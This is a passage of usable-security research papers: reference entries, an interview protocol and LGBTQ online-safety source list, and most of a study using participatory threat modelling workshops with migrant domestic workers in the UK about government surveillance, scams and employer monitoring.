Computing, ACM, pp. 1176–1190.

[53] HAIMSON, O. L., BRUBAKER, J. R., DOMBROWSKI, L., AND
HAYES, G. R. Digital footprints and changing networks dur-
ing online identity transitions. In Proceedings of the 2016 CHI
Conference on Human Factors in Computing Systems (2016),
pp. 2895–2907.

[54] HANEY, J. M., AND LUTTERS, W. G. Skills and characteristics
of successful cybersecurity advocates. In Workshop Program
at Symposium on Usable Privacy and Security (SOUPS) 2017
(2017).

[55] HANEY, J. M., AND LUTTERS, W. G. ”It’s Scary...It’s Confus-
ing...It’s Dull”: How Cybersecurity Advocates Overcome Neg-
ative Perceptions of Security. In Fourteenth Symposium on Us-
able Privacy and Security (SOUPS) (2018), pp. 411–425.

[56] HARAWAY, D. Situated knowledges: The science question in
feminism and the privilege of partial perspective. Feminist stud-
ies 14, 3 (1988), 575–599.

[57] HARGITTAI, E. Digital na(t)ives? Variation in internet skills
and uses among members of the “net generation”. Sociological
inquiry 80, 1 (2010), 92–113.

[58] HARGITTAI, E., ET AL. Facebook privacy settings: Who cares?
First Monday (2010).

[59] HATCH, J. A. Doing qualitative research in education settings.
Suny Press, 2002.

[60] HAYES, J., KAUSHIK, S., PRICE, C. E., AND WANG, Y. Co-
operative privacy and security: Learning from people with vi-
sual impairments and their allies. In Fifteenth Symposium on
Usable Privacy and Security (SOUPS) (2019).

[61] HERBENICK, D., BOWLING, J., FU, T.-C., DODGE, B.,
GUERRA-REYES, L., AND SANDERS, S. Sexual diversity in
the United States: Results from a nationally representative prob-
ability sample of adult women and men. PloS one 12, 7 (2017),
e0181198.

[62] HERLEY, C. So long, and no thanks for the externalities: The
rational rejection of security advice by users. In Proceedings of
the 2009 Workshop on New Security Paradigms Workshop (New
York, NY, USA, 2009), NSPW ’09, Association for Computing
Machinery, p. 133–144.

[63] HILL COLLINS, P. Black Feminist Thought in the Ma-
trix of Domination. In Black Feminist Thought: Knowledge,
Consciousness, and the Politics of Empowerment. Routledge,
pp. 221–238.

[64] HILLIER, L., MITCHELL, K. J., AND YBARRA, M. L. The
Internet as a safety net: Findings from a series of online fo-
cus groups with LGB and non-LGB young people in the United
States. Journal of LGBT Youth 9, 3 (2012), 225–246.

[65] HOFFMANN, C. P., LUTZ, C., AND RANZINI, G. Privacy cyn-
icism: A new approach to the privacy paradox. Cyberpsychol-
ogy: Journal of Psychosocial Research on Cyberspace 10, 4
(2016).

[66] ION, I., REEDER, R., AND CONSOLVO, S. “...No one can hack
my mind”: Comparing Expert and Non-Expert Security Prac-
tices. In Eleventh Symposium On Usable Privacy and Security
(SOUPS) (2015), pp. 327–346.

[67] KAHLOR, L. Prism: A planned risk information seeking model.
Health communication 25, 4 (2010), 345–356.

[68] LENHART, A., YBARRA, M., AND PRICE-FEENEY, M. Non-
consensual image sharing: one in 25 Americans has been a vic-
tim of “revenge porn”. Data & Society Research Institute, 2016.

USENIX Association 31st USENIX Security Symposium    319



[69] LERNER, A., HE, H. Y., KAWAKAMI, A., ZEAMER, S. C.,
AND HOYLE, R. Privacy and activism in the transgender com-
munity. In Proceedings of the 2020 CHI Conference on Human
Factors in Computing Systems (2020), pp. 1–13.

[70] LIANG, C., HUTSON, J. A., AND KEYES, O. Surveillance,
stigma & sociotechnical design for HIV. First Monday (2020).

[71] LIPTAK, A. Civil rights law protects gay and transgender work-
ers, Supreme Court rules. The New York Times 1 (2020).
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9 Appendix

9.1 Interview Protocol
9.1.1 Advice

1. Have you ever looked for or gotten advice related to
online safety, security, or privacy concerns?

• From where or from who did you learn to do
this?

• What were you specifically concerned about?
• What was the advice?
• Did you follow this advice?
• If yes: How did you evaluate this method?

E.g., how did you decide whether it would
work for you? Did it work? Do you still do
it? Have you changed this strategy over time?

• If no: Why not? Have you adopted a different
approach to this concern rather than what the
advice suggested?

• Do you have other approaches to this specific
concern?

• Any followup questions to establish threat
model

2. If having trouble thinking of advice: Do you have
any behaviors you’ve adopted because of online
safety concerns?

• Where did you learn to do this?
3. Other prompts: dating, sexting

• Security, privacy
• Related to queer identity, other identities

4. Have you ever provided advice related to online
safety?

• Who did you provide this to, and how did they
receive this advice?

• Where did you learn this advice from?
• Other prompts: dating, sexting
• Security, privacy
• Related to queer identity, other identities

5. Have you ever had difficulties trying to find online
safety information?

• Have you had difficulties finding information
that you felt connected with you and your life?

6. Are there behaviors you considered but didn’t
adopt?

• Where did you learn about these behaviors?
• What made you decide not to adopt it?

7. Have you ever used Google or another search en-
gine to find online safety information?

8. Have you ever used social media sites themselves to
find or ask for online safety information?

9. What online safety/security/privacy concerns do
you have that you haven’t found advice or haven’t
been addressed?

10. If there’s free time: what do you think about x ad-
vice? From advice coding

9.1.2 General

1. Are there any particularly good or bad online safety
advice sources you’ve come across?

• What made it good/bad?
2. How do you define online safety? What does online

safety mean to you?
• Online privacy?
• Online security?

3. What concerns do you prioritize the most?
4. Is there anything else you would like to share?
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9.1.3 Demographics

You can say pass if you want to skip any of these ques-
tions.

1. Disability disclosure
2. Kind of area you live in: rural/urban/suburban?

• How long have you lived there? Other places
you’ve lived for a long time?

9.2 Advice Probes and Sources

9.2.1 Example Advice Probes

• Use Private Account
• Selective Sharing
• Block Users
• Disengage from Conversations
• Create New SM Reflecting True Gender
• Update SM to Reflect True Gender
• Delete, Untag Old Photos
• Don’t Meet at Home
• Tell a Friend Where You are Going
• Use ”Ask for Angela” Type Code Words
• Use Police Apps to Notify of Location
• Background Check Date
• Use Safe Dating Apps
• Only Download Apps from Trusted Sources
• Use Two-Factor Authentication (2FA)
• Use a VPN

9.2.2 Sources

• https://www.thetrevorproject.org/wp-
content/uploads/2019/06/IG-x-Trevor-
Project LGBTQ-Safety-Guide.pdf

• https://www.vpnmentor.com/blog/lgbtq-guide-
online-safety/

• https://www.comparitech.com/blog/vpn-
privacy/lgbtq-cyberbullying/

• https://www.lgbttech.org/copy-of-online-safety
• https://www.hopkinsmedicine.org/health/wellness-

and-prevention/tips-for-parents-of-lgbtq-youth
• https://www.thetrevorproject.org/2020/12/10/the-

importance-of-safe-language-on-social-media/
• https://www.grindr.com/g4e/G4E-

HolisticSecurityGuide-English.pdf
• https://forge-forward.org/resource/safe-dating-tips/
• https://staysafeonline.org/wp-

content/uploads/2017/09/What-LGBT-
Communities-Should-Know-About-Online-
Safety.pdf

• https://www.centeronhalsted.org/transsafedatingtips0909.pdf

• https://queer-voices.com/online-dating-safety-tips-
for-lgbtq/

• https://www.baltimorepolice.org/safeplace/safety-
tips

• https://policies.tinder.com/safety/intl/en
• https://www.gayquation.com/safety.html
• https://nomadicboys.com/safety-gay-dating-apps/
• https://www.pride.com/lovesex/2019/3/24/3-easy-

ways-stay-safe-while-using-dating-apps
• https://faze.ca/how-to-stay-safe-on-gay-dating-

websites/
• https://avp.org/resources/safety-tips/
• http://www.galop.org.uk/wp-

content/uploads/2016/11/Crime-Safety-and-Hook-
Up-Apps.pdf

• https://www.loveisrespect.org/resources/dating-in-
the-closet/

• https://www.thinkuknow.co.uk/professionals/our-
views/how-to-support-lgbt-young-people-to-stay-
safe-online/

• https://www.legalreader.com/online-dating-scams-
how-to-stay-safe-with-online-dating/

• https://www.cosmopolitan.com/uk/love-
sex/relationships/a19603997/online-dating-safety-
tips/

• https://meanshappy.com/how-to-stay-safe-when-
using-online-dating/

• https://socialcatfish.com/blog/lgbt-dating-apps/
• https://vpnoverview.com/privacy/apps/privacy-

grindr/
• https://www.datingscout.com/tips/staying-safe-

with-online-dating
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Abstract
The needs of marginalised groups like migrant domestic work-
ers (MDWs) are often ignored in digital privacy and security
research. If considered, MDWs are treated as ‘bystanders’
or even as threats rather than as targets of surveillance and
legitimate security subjects in their own right. Using partici-
patory threat modelling (PTM) as a method of incorporating
marginalised populations’ experiences, we designed and con-
ducted five workshops with MDWs (n=32) in the UK to iden-
tify threats to their privacy and security. We found that MDWs
named government surveillance, scams and harassment, and
employer monitoring (in this order) as the primary threats to
their privacy and security. We also examined the methods
MDWs used to stay safe online, such as configuring the pri-
vacy settings of their online accounts and creating on- and
offline community support networks. Based on our findings,
we developed and disseminated a digital privacy and security
guide with links to further resources that MDWs can refer to.
We conclude by arguing that security research must consider
broader social structures like gendered work and racialised
border policy that foster insecurity in the lives of MDWs. We
also present the key lessons of our work, including consid-
ering data sharing from the perspective of stakeholders who
do not own technology devices but are affected by them, and
reflecting on how security research can stop enabling harmful
forms of surveillance.

1 Introduction

Migrant domestic workers (MDWs) work in private house-
holds, usually as cleaners or nannies, and have moved from
their countries of origin. The International Labour Organisa-
tion (ILO) estimates that 17.2% of domestic workers globally
are migrants, a percentage that is higher than other indus-
tries [43]. Domestic workers are mainly women, dispropor-
tionately from ethnic minorities, and/or migrants. Despite the
central role domestic workers play in responding to growing
needs for care work, their work is devalued, and they receive

inadequate protection from labour legislation (e.g., [103]). As
a result, they are often subject to isolated mistreatment in their
workplaces [103], including but not limited to “humiliation,
abuse, violence, exploitation and trafficking” [37].

MDWs experience a disproportionate amount of surveil-
lance from both the government and their employers [103].
An increase in the use of smart home monitoring devices
such as CCTV cameras has contributed to situations of per-
vasive monitoring. Yet, MDWs have hardly received any
consideration in digital security research. Where domestic
workers are discussed, they are often referred to as bystanders
(e.g., [2,15,63,81,127]) or even as threats (e.g., [57,102,130].
Current discussions spanning privacy and data protection in
smart homes often do not consider those who are vulnerable.
Aggregate descriptions tend to obscure hidden populations
such as MDWs, whose need for privacy may be critically as-
sociated with their livelihood and fundamental human rights.
For example, the threat of surveillance and deportation due
to data sharing may stop MDWs from reporting labour ex-
ploitation and/or sexual violence or from accessing key public
services like healthcare [52].

Prior work has explored the needs, views, and privacy
concerns of primary users (e.g., [8, 15, 16, 20, 41, 42, 49,
69, 70, 77, 78, 85]) and – to a lesser extent – bystanders
(e.g., [14, 15, 96, 129]) with regard to IoT technologies and
smart home devices, using mainly interviews and surveys. We
extend this work on bystander privacy as well as work on how
power imbalances shape privacy and security [52, 75, 103]
using participatory threat modelling (PTM) [108]. PTM is
a powerful technique that has not yet been utilised by the
privacy and security community to study the experiences of
marginalised populations like MDWs. PTM applies the prin-
ciples of participatory security design [56] to threat modelling
by inviting participants to identify and prioritise threats to
their privacy and security. Therefore, it is an open-ended
process which does not focus on a specific type of device or
context but rather centres participants’ perspectives.

Our study offers the first investigation into the threats posed
to MDWs’ privacy and security. Our research questions are:
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RQ1. What are MDWs’ digital privacy and security concerns?
RQ2. What are the technological means used to create inse-
curity amongst MDWs? RQ3. What do MDWs do to address
those concerns? RQ4. How do MDWs understand online
safety, privacy, and security? RQ5. What changes are neces-
sary to create safe and just environments for MDWs?

To answer these questions, we designed and conducted
five workshops with MDWs (n=32) in the UK in partner-
ship with Voice of Domestic Workers (VoDW)1, a support
group run by and for MDWs. In these workshops, we in-
vited MDWs to define threats to their safety, privacy, and
security. To avoid priming participants, we did not define
these three concepts in advance. However, we used these
terms as intertwined concepts in relation to the protection
of personal information and other defences against threats,
especially technology-mediated ones.

We identified three major categories of threats that im-
pacted the sense of safety and security of our participants,
which we present as part of the threat model perceived by
MDWs: government surveillance, online scams and harass-
ment, and employer monitoring (in this order) (RQ1). Sur-
prisingly, unlike prior work on bystander privacy (see §2.1.1),
where some groups of bystanders have viewed employer mon-
itoring as the most serious threat, our MDW participants
viewed immigration surveillance and online scams and ha-
rassment as more concerning threats. Even after securing
their immigration status, some were concerned about expos-
ing others who might be undocumented.

Our findings also revealed that online scams and harass-
ment often targeted MDWs’ characteristics (e.g., immigra-
tion status, gender), ultimately compounding and reinforc-
ing threats, as well as exposing the “intersectional” set of
challenges that MDWs already face as part of their iden-
tities [28, 93]. Participants had varying opinions of their
employers’ use of CCTV cameras for monitoring; some be-
lieved CCTV cameras protected them against false accusa-
tions, whereas others explained that cameras made them feel
uncomfortable, nervous, or intimidated. These divided opin-
ions partially explain why participants did not perceive em-
ployer monitoring as the most concerning threat.

The identified threats are intersecting and reinforcing, lead-
ing to significant harms, such as a pervasive sense of being
watched as well as constant worry, isolation, and loneliness,
compounding existing vulnerabilities; lack of trust in people
and technology in general; and uncertainty about accessing
public services funded by the government, such as the UK
National Health Service (NHS), due to fear of data sharing
with immigration enforcement (RQ2, RQ4). Although MDW
participants did not clearly distinguish between safety, pri-
vacy, and security, they associated “being safe” with freedom
from risk and harm and “peace of mind” (RQ4). We also
examined methods such as configuring the privacy settings of

1https://www.thevoiceofdomesticworkers.com/

online social accounts and creating on- and offline commu-
nity support networks that participants employed to stay safe
online and protect against different kinds of surveillance and
monitoring (RQ3). Participants created meaningful sources
of safety in community support organisations, enabling them
to share experiences and knowledge to protect each other and
organise for collective power.

The contributions of this paper are as follows:

• Empirical. This is the first in-depth investigation into
the threats faced by MDWs in the field of digital privacy
and security. Our empirical findings inform security re-
searchers and legal institutions of the threats faced by
MDWs and argue for the need to better protect MDWs.
We identify legal and cultural changes, such as clearer
laws on CCTV surveillance of workers in households,
which are necessary to make MDWs safe (RQ5). We
also offer technical design recommendations (e.g., nudg-
ing device owners towards ethical device use), and we
reflect on how security research can stop enabling harm-
ful forms of surveillance (RQ5).

• Theoretical. Our findings show how intersecting social
structures like gender, race, and border controls pro-
duce privacy and security threats that could be faced by
already marginalised populations. We argue security re-
search must take these structural forces into account, to
better defend against digital threats like surveillance and
avoid reinforcing unjust power dynamics.

• Pragmatic. We provide a free digital privacy and secu-
rity guide for MDWs (see §3.4), co-created with peer
researchers in migrant support organisations, to make
our findings accessible to the public and our participants’
community. The guide serves as an educational platform
for MDWs in the UK and other countries, to protect their
on- and offline privacy and safety.

• Methodological. We adopt PTM to present novel per-
spectives of threats faced by a marginalised population
that would not have been otherwise surfaced through
other methodological approaches. The collaborative na-
ture of our work, while acknowledging its ethical impli-
cations, provides a foundation for the technical commu-
nity to conduct future research with marginalised groups.

2 Background and related work

2.1 Domestic workers’ privacy and security
Digital security research tends to focus on companies, mili-
taries, or (in the case of domestic products like IoT devices)
owners of devices rather than groups like MDWs. When
MDWs are included, they are represented as ‘bystanders’ or
even as potential threats. In this section, we outline these
representations and argue that domestic workers deserve pro-
tection as security subjects in their own right.
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2.1.1 Bystanders and secondary users

Research on the security and privacy of multi-user smart
homes mainly divides smart home residents into primary
users and secondary users with varying levels of control over
devices, as well as bystanders (those who do not control de-
vices but are affected by them, such as domestic workers,
co-habitants, visitors, and passers-by).

Many previous studies have mainly examined the views,
privacy concerns, and choices of primary users with regard to
IoT technologies (e.g., [1, 10, 14, 15, 25, 59, 60, 65, 122–124,
128, 132]). Further, several studies have explored how differ-
ent factors (e.g., age, gender, health status, living situation,
finances, technical background, power imbalances) affect pri-
mary users’ perspectives, concerns, and choices within the
context of using IoT technologies and – especially – smart
home devices (e.g., [6, 8, 11, 15, 45, 49, 58, 69, 77, 78, 85, 95,
117]). For example, older adults [42] are more willing to
accept monitoring by smart health devices – provided that
surveillance enabled by these devices is key to healthcare –
than younger adults (e.g., [70]).

Motivated in part by research on multi-user smart homes
and shared housing (e.g., [25, 27, 31, 77, 78, 80, 94, 110, 132]),
secondary users and bystanders have recently received more
attention by the research community (e.g., [3,35,96,107,129]).
This research suggests that some groups like domestic child-
care workers are often uncomfortable working with smart
home devices in their workplace, particularly if devices are
seen as evidence of mistrust or lack of respect on the em-
ployer’s part and/or are used to micromanage workers [14,15].

2.1.2 Domestic workers as threats or security subjects

As bystanders, domestic workers are rarely considered in pri-
vacy and security threat models, which primarily focus on
device owners. When considered, domestic workers are often
presented as potential threats to the household, suggesting
that temporary workers may, for example, return later to rob
a house [130]. Perhaps the most egregious example of this
is the scenario problematically described as the “evil maid
attack”, in which a hotel maid compromises an unattended
device using, for example, a USB flash drive [102]. The unat-
tended device owner is usually characterised as a company
executive or a government official and the “evil maid” as an
industrial spy in disguise [57]. Although “evil maid” attacks
have been documented, the prevalence of this imagery and
lack of analysis of the security threats domestic workers face
point to a systematic defence of those who, like company
executives or government officials, have wealth and power.

Bystander privacy research expands our understanding of
which users are affected by technology, but the term ‘by-
stander’ risks implying that surveillance of domestic workers
is accidental or unintentional. Surveillance can be pervasive
and harmful to domestic workers [63] and is often the reason
for purchasing surveillance devices, as is evident in the term

“nanny cam”. Thus, privacy and security researchers should
view domestic workers not as accidental bystanders or poten-
tial threats but as people who deserve privacy and security
in their own right. Otherwise, forms of marginalisation and
power imbalances in the household will persist [82].

2.2 Power dynamics and imbalances
In this section, we outline the power imbalances that affect
the lives of MDWs, particularly in the UK.

2.2.1 Power imbalances in the workplace

Technology can impact different groups of people differently
(e.g., [32, 54, 76, 90, 113, 114]) by; e.g., negatively affecting
their privacy and online safety [92] due to digital inequalities
(e.g., [44, 135]). Even if people (in this case, domestic work-
ers) have the skills needed to configure the privacy settings
of a smart home device, they could be denied access to these
settings and, thus, will not be able to control data collection
and processing because data collectors (e.g., employers or
smart home owners) are socially and economically power-
ful [7, 15, 18, 26, 33, 74, 79, 98, 99, 115]. Recently, Bernd et
al. have conducted a user study with domestic workers in
the US showing how power imbalances could lead to nega-
tive behavioural changes among workers [14]. Further, these
imbalances could lead to discrimination [75] or domestic
abuse [17, 40, 71, 73, 91, 100].

2.2.2 Surveillance of migrants

Security researchers have recently started studying how dif-
ferent groups of people face specific forms of marginalisa-
tion, such as undocumented migrants [53], refugees [105],
sex workers [82, 111, 116], queer people [48], IPV survivors
[39, 71], and activists [4]. This has led to calls for a recog-
nition of “differential vulnerabilities” [93] and a third wave
of “inclusive privacy and security”, as “people from different
under-served groups may have profoundly different needs
and challenges for security and privacy” [119]. Marginalised
people experience a disproportionate amount of surveillance;
for example, those who rely on public benefits must share
“personal information [...] far more routinely than wealthier
citizens” [52, 75]. This is particularly true of migrants liv-
ing under the UK’s “hostile environment”, a set of policies
introduced in 2012 by the Home Office2, with the aim of
making it difficult for undocumented people to stay in the UK
by compelling, for example, doctors, landlords, and police
officers to check immigration status, which may result in mi-
grants being denied access to essential services like the NHS,
education, or reporting crime [38, 50]. The Home Office also
has access to the data that public sector organisations use,

2The Home Office is the lead government department for immigration
and visas in the UK.
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such as patient health data, details of migrant victims and
witnesses of crimes, and reports of unsafe working condi-
tions and exploitative employers [38]. These policies harm
all migrants and racialised minorities [97, 121, 131], and have
been widely criticised for creating “an illegal underclass of
foreign, mainly ethnic minority workers and families who are
highly vulnerable to exploitation and who have no access to
the social and welfare safety net” [131].

2.2.3 MDWs at the intersection

MDWs are subject to surveillance both from the state (due
to their immigration status) and in their workplace (as their
workplace is their employer’s home, giving the employer ex-
emption from many labour rights). Privacy is often thought of
within the context of protecting someone’s home or personal
space [103]. However, when MDWs work inside someone
else’s home, they have little recourse to protection from em-
ployer surveillance. Such surveillance practices can be harm-
ful to both the employer and employee; e.g., ethnographic
research on Filipino MDWs in Hong Kong has shown that
digital surveillance in the home did not only result in MDWs
evading control but also not delivering the best care [63].

MDWs mainly enter the UK with an Overseas Domestic
Worker (ODW) visa [64, 88], allowing MDWs to accompany
or join an employer based in the UK. The visa is valid for a
maximum of six months with no right to renew or extend it.
As of 2016, workers on an ODW visa can change employers
but only during the six-month period. In practice, workers
do not have enough time to find another job before their visa
expires. In exceptional cases, workers can extend their stay
and work lawfully beyond the six-month period if identified
as potential victims of trafficking or modern slavery. However,
they need to wait months or even years for a decision to be
made under the UK’s National Referral Mechanism (NRM).
During the waiting period (which for some MDWs has lasted
as long as 37 months), many survivors are not given the right
to work and, thus, are forced into informal and precarious
labour, destitution, and exploitation [104]. Like other aspects
of the hostile environment, these immigration policies by
design make workers vulnerable to on- and offline threats.

2.2.4 Exploring solutions and interventions

This section discusses the solutions and interventions used in
security research to help address the problems bystanders and
similar groups of people face.

2.2.5 Technology design

Most product teams pay little attention to the user experi-
ence dimensions of privacy and security solutions [5, 12, 21–
24, 134] or encounter challenges with deploying these solu-
tions in the real world [13, 36, 86, 89, 101, 112]. As a result,
current solutions have their own limitations [51, 66]. Yet,

several methods have been proposed to protect the privacy
of bystanders in multi-user smart homes by using signalling
features [67], announcing and implementing data usage poli-
cies [68], or relying on contextual cues [9, 83, 87].

2.2.6 Participatory action research

Besides technical design recommendations, security re-
searchers can support marginalised groups through directly
providing technical support and advice. For example, tech-
related abuse clinics [29, 39] use community-based participa-
tory action research, in which researchers and practitioners
work together to better understand a problem in cycles of ac-
tion and reflection, to directly support survivors of technology-
enabled IPV. The Reconfigure Network has also used par-
ticipatory action research in the form of community-based
workshops to help people address digital privacy and security
needs, employing PTM [108].

PTM draws on participatory action research and participa-
tory security design, a set of security methods used to avoid
equating individual security with the security of a technical
system [56]. As such, participants taking part in participa-
tory security design studies can define threats to their own
privacy and security, showing how “differential vulnerabili-
ties” can be socially contingent on demographic factors [93].
Researchers have used participatory security design methods
to investigate privacy mechanisms for smart home users [126]
and IPV survivors [72].

Using such methods highlights why legal and social
changes beyond technical fixes are needed to address pri-
vacy and security concerns. For example, research conducted
as part of Reconfigure has supported changes in culture and
legislation (e.g., holding technology companies accountable)
instead of only developing new technical products [108].

3 Methods

This section outlines the methods we used for data collec-
tion (i.e., PTM workshops), data analysis, development of a
digital privacy and security guide with VoDW (our partner
organisation), and ethical considerations for and limitations
of our study.

3.1 VoDW
We partnered with VoDW, a support group run by and for
domestic workers in the UK. VoDW helps MDWs leave abu-
sive and exploitative employers, supports its members with
immigration issues, creates resources, and organises English
language and IT classes. VoDW was interested in taking
part in our study because it had noticed an increase in digital
privacy and security concerns among its members, particu-
larly during the COVID-19 pandemic. Our peer researcher at
VoDW helped organise the workshops described below and
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develop the questions we asked our participants. This was
critical to ensure that our study and research would be useful
to the MDW community.

3.2 PTM workshops
We designed and conducted five workshops (four for data
collection and one for data analysis) with MDWs (n=32) in
the UK. Each workshop had 5-7 participants. Using PTM,
we asked participants to describe the threats they perceived
to their privacy and security [108]. PTM is a method used to
explore in depth the lived experiences of participants, espe-
cially those traditionally marginalised, regarding their privacy
and security. Researchers using PTM invite participants to
take part in workshops where participants whose experiences
have been traditionally ignored collectively discuss what their
privacy and security mean to them, model how they perceive
threats to their own privacy and security, and explain the
measures they would employ (or have employed) to protect
themselves and improve their digital practices. PTM allows
participants to feel a sense of community, such that they can
share their thoughts in open and non-judgemental group dis-
cussions. We then asked about the methods and tools these
MDWs employed to stay safe online and protect against social
media surveillance. We encouraged all participants to ask any
questions they had about staying safe online (we included
answers to these questions in the digital privacy and security
guide described below in §3.4). Participants’ questions, as
well as our (desk-based) research to answer these questions,
were part of PTM (see Appendix A). Not all participants
answered each question, as answering questions was on an
opt-in basis. Thus, the number of participants represented in
responses is not necessarily comprehensive.

Workshops were conducted online using Zoom. To pro-
tect participant anonymity, we did not take audio or video
recordings. Instead, we used an online platform named Men-
timeter3, which allowed participants to anonymously submit
answers to our questions, and a researcher took handwritten
notes for audio discussions without including participants’
names. We did not assign pseudonyms, keeping all data fully
anonymous. The workshops were designed to collaboratively
create knowledge with our participants; for example, if partic-
ipants chose to anonymously share responses via Mentimeter,
their responses were shown on a screen. This allowed partic-
ipants to comment on and react to each one’s contributions,
creating a sense of communal sharing and debate. Participants
were also allowed more than a single opportunity to recall
their memories and ideas by exchanging their experiences.
We continued organising and conducting workshops until we
reached data saturation.

Participants had the choice not to answer any question and
withdraw their contributions at any point in time. Measures
like avoiding recording and communal sharing as well as the

3https://www.mentimeter.com/

presence at each workshop of the VoDW researcher attempted
to mitigate the significant power imbalances (both social and
economic) which existed between the researcher and research
participants, particularly in research with vulnerable popu-
lations [118]. Feminist methods generally attempt to centre
participants’ experiences and respect their agency; conduct-
ing research in a group setting in particular allows for a more
egalitarian and less exploitative dynamic than other methods
like interviews or large-scale surveys because participants are
in a group of their peers throughout the research process and,
therefore, can receive support and validation [84]. We note,
however, that these measures only mitigated and did not fully
equalise the power dynamics inherent in our research.

Participants were recruited through our project partner at
VoDW and compensated £50 for a 1.5-hour workshop. Our
participants were housecleaners and childcare workers. Be-
fore each workshop, we collected demographic information
including gender, nationality, education level, and employ-
ment status. However, as VoDW was fairly small, we did
not prioritise demographic factors in recruitment; the only
inclusion criteria were being an MDW and over the age of
18. Furthermore, our demographic survey questions were
optional to answer, so the results should be seen as indica-
tive rather than comprehensive. 18 participants self-identified
their nationality: 14 (44%) as Filipinos, 3 as British, and 1 as
Indonesian. Out of 20 responses reporting gender, 16 partici-
pants self-identified as women, 3 preferred to self-describe,
and 1 self-identified as non-binary. 1 had only completed
primary school, 3 had completed secondary school up to 16
years, 5 had completed higher, secondary, or further education,
and 8 had completed college or university.

3.3 Data analysis

We analysed our data using thematic analysis [19], which
involved five stages: reading through the data (Mentimeter
responses and focus group fieldnotes), developing a set of
codes, collating these codes into themes, revising and con-
solidating themes, and then writing descriptions of themes.
After developing initial themes, we conducted a data walk-
through workshop, as part of PTM, in which we invited some
participants back to support us with data analysis.

At this fifth workshop (data walkthrough workshop), we
presented our initial data analysis to participants, asking them
to critique our interpretations. We presented initial findings
from the workshops, allowing participants to push back on our
interpretations verbally as well as through Mentimeter. In §4,
we emphasised areas where participants pushed back on our
interpretation. This process of participatory data interpreta-
tion allowed us to conduct research in a less hierarchical way,
following feminist principles of participatory research [46].
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3.4 Digital privacy and security guide
Based on the findings of our five participatory workshops
with MDWs, we created and disseminated a free online digi-
tal privacy and security guide, to make our research outputs
accessible to the public as well as VoDW and several other or-
ganisations that protect migrant and precarious workers in the
UK4. During each workshop, we asked participants whether
they had any questions for us on online safety, privacy, and
security. We noted down these questions as well as the threats
participants had identified and their advice for other MDWs.
We then used these as the basis of our online digital privacy
and security guide. In making the guide, we focused, where
possible, on existing resources, such as the DIY Guide to
Feminist Cybersecurity5, the Citizens Advice online scams
helper6, and Kalayaan’s Employment Rights webpage7. We
made sure to include clear action points the reader could eas-
ily implement. We also focused on making the guide easily
readable. Lastly, we avoided unnecessary intimidation or
victim blaming. For example, we included reminders like
“Avoiding surveillance by your employer should not have to
be your responsibility. Employers need to understand and
respect domestic workers’ right to privacy and safety, and
refrain from excessive monitoring”. We are continuously so-
liciting feedback from our computer privacy and security as
well as MDW communities on the guide, are incorporating
feedback on a regular basis, and plan to organise workshops
with MDWs to hear their input on the guide. We describe our
guide structure in detail in Appendix B.

3.5 Ethics
Ethical considerations for this study included preserving the
anonymity of vulnerable participants. We followed princi-
ples of data minimisation, ensuring that the research data
that we collected was not connected to participants’ identi-
ties. In order to do this, we did not video or audio record
workshops; we instead relied on handwritten notes which
did not include participants’ names, as well as used an on-
line platform where participants could submit answers to our
questions anonymously. Some participants also participated
in our study outside their home and workplace; e.g., in a park,
in order to avoid being overheard by employers. Further, the
only researchers with access to the personal/contact details of
participants were those being involved in data collection and
analysis. We also note that although some participants had
experiences of being undocumented in the past (as a result of
recruitment by our peer researcher), all participants had right
to remain at the time of the study.

4Accessible here: https://domesticworkerprivacy.github.io/
5https://hackblossom.org/cybersecurity/
6https://www.citizensadvice.org.uk/consumer/scams/

what-to-do-if-youve-been-scammed/
7http://www.kalayaan.org.uk/for-workers/

employment-rights/

Another concern was the potential distress of participants
who discussed difficult or sensitive experiences. To mitigate
this, we reminded participants that they did not need to an-
swer the questions, and they could take breaks during the
study. Further, our peer researcher at VoDW was present at
all workshops to make sure that participants felt comfortable.

Lastly, our research was reciprocal, to make sure partici-
pants benefited from the project, particularly as they belonged
to a vulnerable group in often precarious employment. We
compensated each participant £50, and we attempted to ensure
the accessibility of our research outputs through publishing
a digital privacy and security guide online. This study was
approved by the Research Ethics Committee at the University
of Oxford.

3.6 Limitations

To protect participant anonymity and follow data minimisa-
tion principles, we did not record the workshops. Instead, we
used handwritten notes and the Mentimeter platform for on-
line responses to our questions. As a result, some information
might have been lost. This was particularly the case, as all par-
ticipants did not speak English as their first language, which
led to the transcriber missing some of their comments and
might have resulted in participants not understanding some
questions. To mitigate this, the peer researcher co-facilitated
each session and ensured to rephrase each question in multiple
ways to aid understanding.

Although the collaboration of the peer researcher from
VoDW was a great benefit to the project, her presence might
have affected what participants felt comfortable expressing
in the workshops. There was possibly an element of social
desirability bias in the findings, as participants were likely to
share ideas that they perceived as desirable to the researchers
and their peers. To mitigate this, we used an online platform
which allowed participants to submit answers anonymously.

Further, we did not follow up with participants to under-
stand what impact the guide had on the MDW community.
The guide we produced is in English, which means it may
not be accessible to all MDWs. We are currently exploring
the possibility of translating it into other common languages
spoken by migrant communities in the UK.

Our work is limited by the size and diversity of our sample.
We recruited participants from a single organisation, and
over a third of the sample had the same nationality (Filipino).
Further, we only focused on MDWs in the UK. While our
sample does not fully represent all MDWs, the sensitive nature
of the topic implies that participant access is a challenge on its
own. As a first study with a focus on MDW online safety and
privacy, and given we do not aim to generalise findings, our
study surfaces insights which can be subsequently expanded
upon with more focus on demographics.
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4 Findings

In our workshops, we invited participants to define their own
threats to their safety, privacy, and security. Our findings
are divided into three main parts: the threat model perceived
by MDWs in §4.1 (RQ1, RQ2, RQ4), impact and harms
experienced by MDWs in §4.2 (RQ2), and sources of safety
in §4.3 (RQ3, RQ5). We do not use pseudonyms as we
intentionally do not attribute statements to individuals in any
way to ensure anonymity. We also include an indication of
the frequency of specific findings, such as (2) or (3) for two
or three repetitions of the same statement. However, the main
purpose of qualitative research is not to generate generalisable
quantitative results but to explore a phenomenon in depth.

4.1 Threat model perceived by MDWs

This section addresses RQ1, RQ2, and RQ4 by offering in-
sights into how online safety, privacy, and security are per-
ceived by MDWs, and how technologies surrounding their
environments have been used to invoke a sense of insecurity.

When asking participants “What are the main threats to
your privacy, security, or safety?”, we did not define the terms
‘privacy’, ‘security’, or ‘safety’ in order to avoid priming par-
ticipants, as we wanted to explore their own understandings
of these often contested concepts. Instead, we asked “What
does being safe mean to you?” Participants associated safety
with being free from risk or harm (4); “peace of mind” (3);
“not worrying” (2); limiting who can see personal information
(3). Participants did not clearly distinguish between privacy,
security, and safety when asked about these terms. We specu-
late this was the case because English is not the first language
of most migrants, and these conceptual distinctions are partic-
ularly interesting to security professionals.

